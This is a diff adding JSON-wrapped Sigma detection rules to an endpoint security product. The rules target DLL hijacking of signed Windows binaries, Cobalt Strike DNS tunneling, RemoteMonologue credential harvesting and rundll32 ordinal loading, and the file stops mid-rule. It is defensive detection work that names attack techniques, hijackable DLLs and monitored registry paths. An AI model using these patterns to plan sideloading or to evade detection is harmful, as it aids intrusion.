+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082211Z",
+  "creation_date": "2026-03-23T11:45:34.082213Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082217Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_browserexport.yml",
+  "content": "title: DLL Hijacking via browserexport.exe\nid: 6937271c-260b-4e5b-b615-ac15220e5645\ndescription: |\n    Detects potential Windows DLL Hijacking via browserexport.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'browserexport.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\iertutil.dll'\n            - '\\msiso.dll'\n            - '\\wininet.dll'\n            - '\\winsqlite3.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6937271c-260b-4e5b-b615-ac15220e5645",
+  "rule_name": "DLL Hijacking via browserexport.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via browserexport.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6939eb2f-40f8-42c0-95f5-b4e8026e51e3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083008Z",
+  "creation_date": "2026-03-23T11:45:34.083010Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083014Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/cyb3rops/status/994534209631944704",
+    "https://attack.mitre.org/techniques/T1071/004/"
+  ],
+  "name": "t1071_004_cobalt_strike_dns_tunneling.yml",
+  "content": "title: Cobalt Strike DNS Tunneling\nid: 6939eb2f-40f8-42c0-95f5-b4e8026e51e3\ndescription: |\n    Detects suspicious DNS query patterns associated with Cobalt Strike DNS tunneling.\n    Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic.\n    Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\n    It is recommended analyze the process responsible for the DNS request to determine whether it is indeed a Cobalt Strike beacon and to isolate infected hosts if necessary.\nreferences:\n    - https://twitter.com/cyb3rops/status/994534209631944704\n    - https://attack.mitre.org/techniques/T1071/004/\ndate: 2023/03/23\nmodified: 2025/04/09\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1071.004\n    - classification.Windows.Source.DnsQuery\n    - classification.Windows.Framework.CobaltStrike\n    - classification.Windows.Behavior.Tunneling\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: dns_query\ndetection:\n    selection:\n        QueryName: '???.stage.*.*'\n        QueryStatusCategory: 'success'\n\n    exclusion_prefixes:\n        QueryName|startswith:\n            - 'www.'\n            - 'api.'\n            - 'app.'\n\n    exclusion_legitimate:\n        QueryName:\n            # Blacknoise is an attack framework simulation that legitimately uses this domain\n            - 'app.stage.blacknoise.co'\n            - 'get.stage.adobe.com'\n            - 'img.stage.creative.com'\n            - 'don.stage.greenpeace.fr'\n            - '???.stage.elips-solution.fr*'\n            - 'rum.stage.haystack.es'\n            - 's3n.stage.cashify.in'\n            - 'cms.stage.europapark.de'\n            - '*.stage.honeywell.com'\n            - 'hms.stage.meininger-hotels.com'\n            - 'ocp.stage.walmart.com'\n            - 'cpa.stage.vizientinc.com'\n            - 'vfm.stage.velco.bike'\n            - 'cbr.stage.fsapps.ca'\n            - 'cdn.stage.tourradar.com'\n            - 'upg.stage.plusgrade.com'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6939eb2f-40f8-42c0-95f5-b4e8026e51e3",
+  "rule_name": "Cobalt Strike DNS Tunneling",
+  "rule_description": "Detects suspicious DNS query patterns associated with Cobalt Strike DNS tunneling.\nAdversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic.\nCommands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\nIt is recommended analyze the process responsible for the DNS request to determine whether it is indeed a Cobalt Strike beacon and to isolate infected hosts if necessary.\n",
+  "rule_creation_date": "2023-03-23",
+  "rule_modified_date": "2025-04-09",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "693f999d-5ae3-4651-ac76-03a163015af9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080855Z",
+  "creation_date": "2026-03-23T11:45:34.080857Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080862Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_rmactivate_ssp.yml",
+  "content": "title: DLL Hijacking via rmactivate_ssp.exe\nid: 693f999d-5ae3-4651-ac76-03a163015af9\ndescription: |\n    Detects potential Windows DLL Hijacking via rmactivate_ssp.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'rmactivate_ssp.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\cryptsp.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "693f999d-5ae3-4651-ac76-03a163015af9",
+  "rule_name": "DLL Hijacking via rmactivate_ssp.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via rmactivate_ssp.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6949760c-fa90-4519-9761-a914b1c49414",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.589762Z",
+  "creation_date": "2026-03-23T11:45:34.589766Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.589778Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_openfiles.yml",
+  "content": "title: DLL Hijacking via openfiles.exe\nid: 6949760c-fa90-4519-9761-a914b1c49414\ndescription: |\n    Detects potential Windows DLL Hijacking via openfiles.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'openfiles.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\framedynos.dll'\n            - '\\mpr.dll'\n            - '\\netutils.dll'\n            - '\\srvcli.dll'\n            - '\\SspiCli.dll'\n            - '\\version.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6949760c-fa90-4519-9761-a914b1c49414",
+  "rule_name": "DLL Hijacking via openfiles.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via openfiles.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6961dfa8-1eda-47fe-98ee-2eb179e41bb3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095356Z",
+  "creation_date": "2026-03-23T11:45:34.095358Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095363Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/RemoteMonologue/",
+    "https://www.ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions",
+    "https://github.com/xforcered/RemoteMonologue",
+    "https://attack.mitre.org/techniques/T1187/"
+  ],
+  "name": "t1187_remote_monologue.yml",
+  "content": "title: Credential Harvesting via Remote Monologue Detected\nid: 6961dfa8-1eda-47fe-98ee-2eb179e41bb3\ndescription: |\n    Detects a registry modification related to the RemoteMonologue attack technique setup.\n    RemoteMonologue is a Windows credential harvesting technique that enables remote user compromise by leveraging the Interactive User RunAs key and coercing NTLM authentications via DCOM.\n    It is recommended to check the source user and workstation of the modification for any suspicious activities with the help of the session information card in the security event.\nreferences:\n    - https://github.com/xforcered/RemoteMonologue/\n    - https://www.ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions\n    - https://github.com/xforcered/RemoteMonologue\n    - https://attack.mitre.org/techniques/T1187/\ndate: 2025/04/09\nmodified: 2025/08/20\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1187\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.HackTool.RemoteMonologue\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'SetValue'\n        TargetObject|startswith: 'HKCR\\AppID\\{????-????-????-????-????????????}\\RunAs'\n        Details: 'Interactive User'\n        Image: '?:\\windows\\system32\\svchost.exe'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6961dfa8-1eda-47fe-98ee-2eb179e41bb3",
+  "rule_name": "Credential Harvesting via Remote Monologue Detected",
+  "rule_description": "Detects a registry modification related to the RemoteMonologue attack technique setup.\nRemoteMonologue is a Windows credential harvesting technique that enables remote user compromise by leveraging the Interactive User RunAs key and coercing NTLM authentications via DCOM.\nIt is recommended to check the source user and workstation of the modification for any suspicious activities with the help of the session information card in the security event.\n",
+  "rule_creation_date": "2025-04-09",
+  "rule_modified_date": "2025-08-20",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1187"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "69751146-8ab0-4b09-9bef-03ed928fc3f5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071829Z",
+  "creation_date": "2026-03-23T11:45:34.071831Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071836Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1218/011/"
+  ],
+  "name": "t1218_011_load_dll_by_ordinal.yml",
+  "content": "title: Suspicious DLL Loaded by Ordinal\nid: 69751146-8ab0-4b09-9bef-03ed928fc3f5\ndescription: |\n    Detects a suspicious execution of \"Rundll32.exe\" to load a DLL by specifying the function using an ordinal instead of a function name.\n    This can be used by an attackers to evade command-line based detection.\n    It is recommended to investigate the DLL loaded by \"Rundll32.exe\" as well as the parent process for suspicious activities.\nreferences:\n    - https://attack.mitre.org/techniques/T1218/011/\ndate: 2022/03/16\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.011\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Rundll32\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_binary:\n        - Image|endswith: '\\rundll32.exe'\n        - OriginalFileName: 'RUNDLL32.EXE'\n    selection_ordinal:\n        CommandLine|contains:\n            - ' #'\n            - ',#'\n            - ', #'\n\n    # Exclude cases where you have a '#' in one the arguments of the DLL call e.g.:\n    # C:\\Windows\\System32\\rundll32.exe shell32.dll, ShellExec_RunDLL C:\\Users\\USER\\Documents\\Tartine #6.pdf\n    exclusion_hashtag_filename:\n        CommandLine|re: '(?i).*rundll32\\.exe\\s.+\\.dll,\\s{0,1}[^#]+\\s.*#[0-9]+.*'\n\n    exclusion_edgehtml:\n        CommandLine: '*:\\WINDOWS\\SYSTEM32\\EDGEHTML.dll*'\n        CommandLine|contains:\n            - ',#125'\n            - ',#133'\n            - ',#140'\n            - ',#141'\n\n    exclusion_known_fp:\n        CommandLine:\n            - '?:\\WINDOWS\\SysWOW64\\rundll32.exe ?:\\WINDOWS\\SysWOW64\\shell32.dll,#44 ?:\\Program Files (x86)\\Contour Pointing Devices\\ContourMouse.cpl,'\n            - '?:\\windows\\system32\\rundll32.exe ?:\\windows\\system32\\shell32.dll,Control_RunDLL ?:\\windows\\SysWOW64\\javacpl.cpl,Java'\n            - 'rundll32.exe V0230Cvw.dll,ctCVWConsoleRunDLL32EP Live! Cam Video IM Pro #7'\n            - '?:\\Windows\\SysWOW64\\rundll32.exe ?:\\Windows\\SysWOW64\\shell32.dll,#44 ?:\\Program Files (x86)\\IBM\\RationalSDLC\\ClearCase\\bin\\cc.cpl,ClearCase'\n            - '*RunDLL32.exe ?:\\WINDOWS\\system32\\spool\\DRIVERS\\x64\\3\\hpinksts????.dll,RunDLLEntry*'\n            - '?:\\Windows\\SysWOW64\\rundll32.exe ?:\\Windows\\SysWOW64\\shell32.dll,#44 ?:\\Windows\\SysWOW64\\\\*.cpl,*'\n            - '?:\\Windows\\system32\\rundll32.exe portabledeviceapi.dll,#1'\n            - '?:\\Windows\\SysWOW64\\rundll32.exe ?:\\Windows\\SysWOW64\\shell32.dll,#44 ?:\\Program Files (x86)\\ntmaes\\cbase.cpl,*'\n\n    exclusion_office:\n        # C:\\Windows\\SysWOW64\\rundll32.exe C:\\Windows\\SysWOW64\\shell32.dll,#44 C:\\PROGRA~2\\MICROS~1\\Office16\\MLCFG32.CPL,@0\n        CommandLine|contains|all:\n            - '?:\\Windows\\SysWOW64\\shell32.dll'\n            - '#44'\n            - '\\Office1?\\MLCFG32.CPL'\n\n    exclusion_uxtheme:\n        # rundll32.exe uxtheme.dll,#64 C:\\Windows\\resources\\Themes\\Aero\\Aero.msstyles?NormalColor?NormalSize\n        # rundll32.exe uxtheme.dll,#64 C:\\windows\\resources\\themes\\Aero\\AeroLite.msstyles?NormalColor?NormalSize\n        CommandLine|contains|all:\n            - 'uxtheme.dll'\n            - '#64'\n            - '?:\\Windows\\resources\\Themes\\Aero\\Aero'\n\n    exclusion_nvidia:\n        # C:\\WINDOWS\\system32\\rundll32.exe C:\\Program Files\\NVIDIA Corporation\\ShadowPlay\\nvspapi64.dll #14 4560 -org=Unknown\n        # C:\\Windows\\system32\\rundll32.exe C:\\Program Files\\NVIDIA Corporation\\ShadowPlay\\nvspapi64.dll #15 2824 -org=ServiceRestart\n        # C:\\WINDOWS\\system32\\rundll32.exe C:\\Program Files\\NVIDIA Corporation\\ShadowPlay\\nvspapi64.dll #13 21404 -org=DriverReload\n        # C:\\WINDOWS\\system32\\rundll32.exe C:\\Program Files\\NVIDIA Corporation\\NVIDIA App\\ShadowPlay\\nvspapi64.dll #14 12116 -org=Unknown\n        # C:\\WINDOWS\\system32\\rundll32.exe C:\\WINDOWS\\system32\\nvspcap64.dll  #14 4180\n        CommandLine:\n            - '*:\\Program Files\\NVIDIA Corporation\\ShadowPlay\\nvspapi64.dll*'\n            - '*:\\Program Files\\NVIDIA Corporation\\NVIDIA App\\ShadowPlay\\nvspapi64.dll*'\n            - '*:\\WINDOWS\\system32\\nvspcap64.dll*'\n        CommandLine|contains:\n            - '#13'\n            - '#14'\n            - '#15'\n\n    exclusion_seagull:\n        # rundll32 C:\\windows\\system32\\spool\\DRIVERS\\x64\\3\\ssnetmon.d64,StatusMonitor init TOSHIBA B-EX4T1-G #2 -i\n        # rundll32 C:\\windows\\system32\\spool\\DRIVERS\\x64\\3\\ssnetmon.d64,StatusMonitor init Datamax-O'Neil E-4205A Mark III #2 -i\n        CommandLine|contains: '?:\\windows\\system32\\spool\\DRIVERS\\x64\\3\\ssnetmon.d64,StatusMonitor init'\n        ParentImage: '?:\\Windows\\ssdal.exe'\n\n    exclusion_hotplug_saferemove:\n        # C:\\windows\\System32\\RunDll32.exe C:\\windows\\system32\\hotplug.dll,HotPlugSafeRemovalDriveNotification #OMNICANAL (F:)\n        CommandLine|contains: '?:\\windows\\System32\\RunDll32.exe ?:\\windows\\system32\\hotplug.dll,HotPlugSafeRemovalDriveNotification'\n\n    exclusion_ibm_iaccess:\n        # C:\\windows\\SysWOW64\\rundll32.exe C:\\windows\\SysWOW64\\shell32.dll,#44 C:\\windows\\SysWOW64\\ca400cpl.cpl,IBM i Access for Windows\n        # C:\\Windows\\SysWOW64\\rundll32.exe C:\\Windows\\SysWOW64\\shell32.dll,#44 C:\\Windows\\SysWOW64\\ca400cpl.cpl,\n        CommandLine|contains: '?:\\Windows\\SysWOW64\\rundll32.exe ?:\\Windows\\SysWOW64\\shell32.dll,#44 ?:\\Windows\\SysWOW64\\ca400cpl.cpl,'\n\n    exclusion_sage_installation:\n        # C:\\Windows\\SysWOW64\\rundll32.exe C:\\Windows\\SysWOW64\\shell32.dll,#44 C:\\Program Files (x86)\\Common Files\\Sage\\cbinst32.cpl,Sage Installation\n        CommandLine|contains: '?:\\Windows\\SysWOW64\\rundll32.exe ?:\\Windows\\SysWOW64\\shell32.dll,#44 ?:\\Program Files (x86)\\Common Files\\Sage\\cbinst32.cpl,'\n\n    exclusion_fasttrack_software:\n        # rundll32.exe C:\\ProgramData\\FastTrack Software\\Admin By Request\\ShellHelper32.dll,#1\n        # rundll32.exe C:\\ProgramData\\FastTrack Software\\Admin By Request\\ShellHelper64.dll,#1\n        CommandLine|contains:\n            - 'rundll32.exe ?:\\ProgramData\\FastTrack Software\\Admin By Request\\ShellHelper32.dll,#1'\n            - 'rundll32.exe ?:\\ProgramData\\FastTrack Software\\Admin By Request\\ShellHelper64.dll,#1'\n\n    exclusion_borland_bdeadmin:\n        # child process is C:\\Program Files (x86)\\Common Files\\Borland Shared\\BDE\\BDEADMIN.EXE\n        # C:\\Windows\\SysWOW64\\rundll32.exe C:\\Windows\\SysWOW64\\shell32.dll,#44 C:\\Windows\\SysWOW64\\BDEADMIN.CPL,Administrateur BDE\n        CommandLine|contains: '?:\\Windows\\SysWOW64\\rundll32.exe ?:\\Windows\\SysWOW64\\shell32.dll,#44 ?:\\Windows\\SysWOW64\\BDEADMIN.CPL,'\n\n    exclusion_msbuild_filetracker:\n        CommandLine:\n            - 'rundll32.exe ?:\\Program Files (x86)\\MSBuild\\\\*\\FileTracker\\FileTracker32.dll,#1'\n            - 'rundll32.exe ?:\\Program Files (x86)\\MSBuild\\\\*\\FileTracker\\FileTracker64.dll,#1'\n\n    exclusion_xwaymgr:\n        CommandLine:\n            - '?:\\WINDOWS\\system32\\rundll32.exe 